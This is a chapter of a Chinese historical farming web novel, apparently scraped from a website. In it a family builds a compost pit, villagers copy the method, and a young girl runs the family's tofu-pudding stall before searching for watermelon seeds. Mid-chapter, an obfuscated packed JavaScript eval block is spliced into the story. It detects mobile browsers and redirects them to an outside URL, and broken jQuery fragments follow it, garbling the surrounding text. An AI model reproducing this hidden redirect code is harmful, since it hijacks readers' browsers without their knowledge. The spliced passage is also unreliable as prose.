先铺一层三到五寸厚的细土，再铺一层一尺厚的秸秆，并泼洒一些石灰水，以补充微生物活动所需要的氮源和调节肥堆中的酸碱度。


    这些林知并没有写在书里，为了简洁方便，她能省就省。当然，她决不认为自己在偷懒。


    然后再把作物茎秆、绿肥、杂草等和河、塘泥及人粪尿一起同置于坑中。


    林知带着林仁、林义和林礼他们从林子里又扫出很多枯叶，钱氏和马氏她们放在木板上用刀切几下扔下去。


    “再放一些家里已经成熟了的肥堆吧，这样可以加速堆肥的分解。”林知思忖了一下，提建议道。


    林阿爷昨天晚上把那本书翻来覆去的研究了个透，他和林阿奶商量着分析。他们也是干了很多年的农事儿了，这些经验还是有的。


    越研究越觉得这本书写得有道理，可惜被埋没在小书铺里了。


    一行人又从旁边的肥堆里挪过来一些肥料。


    最后还用做好的草盖将坑给盖起来，为了保暖还往上放了好多枯草。


    林大郎很怀疑，“这样就行了？”


    “还不行，以后还得要定期翻堆。这样可以促进堆肥的分解。”林知摇摇小脑袋道，一般来说，每隔一周左右就要翻一次堆。


    “还要注意保持堆肥的湿度和温度，如果堆肥太干，可以适量地浇一些水。温度太高会烧肥的，还要晾晒降温。”她又补充道。


    “好麻烦啊！”林义蹲在地上，有些抱怨地说。


    “不难的话，那不是谁都会做？还要讲究什么技术啊。”林知不雅地冲他翻了个白眼。


    “嘿，说不定今年我们家还能多种几亩地呢！”林大郎一边把工具啥的收拢一边笑着说。


    因为林知的这个新法子，用到的畜粪比现在他们以前用的要少一些，加大了对枯叶和其他泥土的需求，这说明同量的畜粪，他们可以堆积出更多的肥。


    以往年怕地力跟不上，家里劳力也不多。今年倒不一样了，家里买了牛，也沤肥了，说不定还有余力呢。


    林三郎有些不乐意，“家里的生意好好的，要是去干地里的活，那不人手就不够了嘛，还能赚到这么多钱嘛？”


    林阿奶没好气的给了他后脑勺一巴掌，怒道:“赚再多钱，也没有粮食来得实在，想当年，多少人手里捏着钱也买不到粮食，最后活生生饿死的……”


    林阿奶说的是几十年前打仗的时候了，乱世之下，壮丁都被拉去服兵役，有些力气的为了不被抓也背井离乡跑了。


    少了壮年，村子里就剩些老弱病残，哪有人种粮食啊，没有种地，也没有粮食吃。那时候才是一点粮支撑几口人，拿钱也买不到的。


    那些年代过来的人天然觉得还是堆满粮食的粮仓比什么都可靠。


    林义几个小的瞧见他们三叔/阿爹被阿奶给教训了，都偷偷摸摸怂着肩笑个不停。


    又是挑河泥，又是挖坑的，林家这几天的动静可不小，村里不少人都跑来凑热闹，大多数人是蹲在一旁看，也有人帮把手，然后问林阿爷，“这是在干什么啊？”


    “我们家得了一个新的沤肥法子。”对于这些事，林阿爷他们也不刻意瞒着，农事重要，农肥重要，现在村里的法子也是一家家交流经验，试验出来的。


    听说的人来了兴趣，“可行吗？”


    林阿奶啐了一口，挥手朝问话的人道:“书上学来的，能不行。”


    林阿爷是村里鲜有的读书人，大家以往也对他多些敬重，对书更有一种神圣的尊崇，所以对他们的法子信了八分。


    有些机灵的人家已经一边在向他们打听细节和方法，一边派家里人去挖坑准备材料了。


    所以这几天就可以看见，村里到处都是在挖坑的人，树上本就不多的鲜叶子，地上的杂草都被一扫而空，就跟蝗虫过境似的。


    村里是干得热火朝天。


    好在最近雨水少，个个都是大晴天，但是太阳亮晃晃的也晒得人心生惫懒。


    林知在院子里晃了晃，打理着她那三十几个竹篮的花。


    酢浆草是喜光植物，不喜欢过度潮湿，浇水要做到见干见湿，所以林知每次都很尽心。功夫不负有心人，前几天竹篮已经长出喜人的小芽，林知将花篮移到阳光充足的地方。


    她像是吃了蜜糖一样，心里喜滋滋的在院子里像一只小蜜蜂一样飞来飞去忙碌，想着只要多浇水，保持环境通风，看来很快就可以完成开花啦。


    入了十月，冬夜越来越长。


    林知拱着个小被子把自己包的严严实实的，突然她“蹭”的一下从床上爬起来。窗外面还是灰蒙蒙的一片，内心天人交战她不情不愿地起了身。


    诶，真是麻烦啊！此时她只想仰天长啸一声。


    因为得找个让寒瓜种子光明正大的出现在人前的路子，林知只打算能再进城一趟。


    好在家里有了牛车，不用再倒腾她那两条短腿了。吃过早食，一家三口赶早上路，只花了原来走路的一半时间就进了城。


    林知窝在车上，被花被子一围，又睡起了回笼觉，还是罗氏说已经到了，她才迷迷糊糊下车来。


    “活动一下手脚，都快坐麻了吧。”罗氏温柔地递给她一壶温水，“喝点水先暖一暖。”


    “谢谢阿娘！”林知小口地喝了些水，感觉自己终于回过了神儿。


    天微微亮，清冷的街上只熙熙攘攘几个人。


    另一边的林二郎已经开始把摊子搭起来了，给摊车装上炭火，把桌椅板凳摆好……


    林知和罗氏连忙去搭手。


    卖豆花并不复杂，不过是先在碗里盛上热豆花，按照客人选的口味添些小料。豆腐就更简单了，切块儿放到篮子里就行。


    其余便是招呼一下客人或者打扫卫生。两个人完全忙得过来，所以这也是为什么林家人放心一次来两三个人的原因。


    小摊上逐渐有了一些客人，熟的人就直接坐下喊来一碗豆花，头一次来的人则凑在摊子前仔细询问有哪些特色。


    一对年轻夫妇慢条斯理地吃着，还时不时说上几句话。


    “唔，这是最后一样了吧？香菇配上臊子，咬上一口，香菇的弹嫩和牛肉的鲜美就在嘴里怦然释放，味道鲜美，让人欲罢不能。”女子低着头，一边小口品尝，一边评价道。


    香菇鲜嫩肥厚、弹润入味,再配上醇香浓郁的肉丁，整碗豆花色泽鲜红有光泽。


    崔先生看着姚娘吃得香的模样，手里的白瓷勺碰着碗壁，心里无奈好笑，她哪次不是这么说。


    自从上次余姚吃过林记豆花，便喜欢上了这个味道，虽然算不上什么珍馐玉肴，但是也别有一番风味。于是接连几天，她都热情的拉着老崔跑来把小摊上所有的口味给尝了遍。


    原本喜爱甜食的她直接叛逃，爱上加一勺红油辣子的豆花。


    “唔，天气越来越冷了，吃上这么一碗，浑身都热乎乎的，舒服啊！”余姚放下碗勺，伸了一个懒腰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148473|194356||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “夫人，这是送你们的。”林知再端上一碗热腾腾的豆花，笑眯眯地说道。


    罗氏先前说这对夫妇接连几天都在这吃了，所以想着送点东西。


    余姚看着眼前扎着双髻的小姑娘，飘扬的红绳格外显眼，笑起来露出两个甜美的酒窝，清澈的眼眸让人心生好感。于是她无声的笑了笑，接受了对方的好意。


    “多谢。”崔先生微笑着再掏出来几个铜板放在了桌子上。


    林知皱眉，不着痕迹得把钱给推了回去，“我不是这个意思。”


    余姚猛地按住崔先生的手，娇俏的冲林知眨眨眼说:“不好意思啊，他这个人啊，就是这样，古板得很，但是我们可以交个朋友啊。”


    林知疑惑地眨眨眼，这位夫人倒是有趣，于是她马上笑脸相迎，脆生生地应下:“好啊，如果夫人喜欢我们家的吃食，记得要常来啊！”


    于是慢半拍的崔先生就看见自己的夫人和一个才六七岁的小姑娘就这么短短一会儿“交上了朋友”。


    “慢走啊！余姐姐——”林知欢快地挥舞着手中的帕子，送走两位客人，她马上麻利地擦干净桌子。


    “啦啦啦啦啦～”林知哼着不知调儿的小曲儿，心情俨然不错。


    日头高升，釜里的豆花以肉眼可见的速度减少，路上的行人也开始变少。


    “只只，你不是有事儿吗？让你阿爹陪你去吧，有个照应。”罗氏打理着灶台，猜到林知要说什么，她马上补充道:“你们别担心这儿，阿娘一个人忙得过来。办完了事情，我们好早些回家呢。”


    林知见的确客人没有几个了，而且时辰也不早了，他们还得走上那么久的路呢，思索片刻就答应了。


    “那行，我们先去买东西了。”


    大集上有卖寒瓜种子的吗？


    地摊上当然是没有的，林二郎见林知打算像只没头苍蝇一样到处乱转，就揪住她的后衣领，“我们去瓜果铺子看看吧。”


    “也行。”两人转了个道，直接向着城里最大的瓜果铺子而去。


    父女俩询问了一下店小二有没有寒瓜种子，结果被告知他们店只是卖瓜的，也是从别人那儿进的货，哪里有种子卖啊。


    林知见店小二神色自若，没有想要再说下去的样子，她悄悄拉了拉林二郎的袖子。


    “小哥哥，我们想买一点水果。”林知露出自以为最可爱的笑容甜甜的朝店小二说道。


    果不其然，这次店小二立刻换上了得体的笑容陪他们在里面逛了一圈，还边介绍品种和讲解价格。


    现在正是吃频婆果的好时节，也就是后世说的苹果，这个时代的苹果还是很常见的。


    见林知盯着频婆果看，店小二贴心的解释道:“这是洛川刚运过来的频婆果，水灵，爽脆可口，只要十文一斤。”


    林知看了她爹一眼，后者点了点头，于是她便说:“咳，就给我们称上两斤吧。”


    一共二十文，店小二贴心地替他们打包好，笑眯眯地还不忘指个路，“唔，东街进去直走，右拐第二个院子，有一个瓜农姓罗，你们去那里看看吧。”


    见得到了自己想要的消息，林知笑着告辞，“谢谢小哥哥。”


    这下反倒是店小二不好意思了，他挠了挠头提醒说道:“老罗脾气好，他今年搬来跟他儿子儿媳住，以后也不种瓜了，你们多问问，说不定就成了。”


    林知没想到店小二还会提醒她，这下露出一个真诚的笑容来。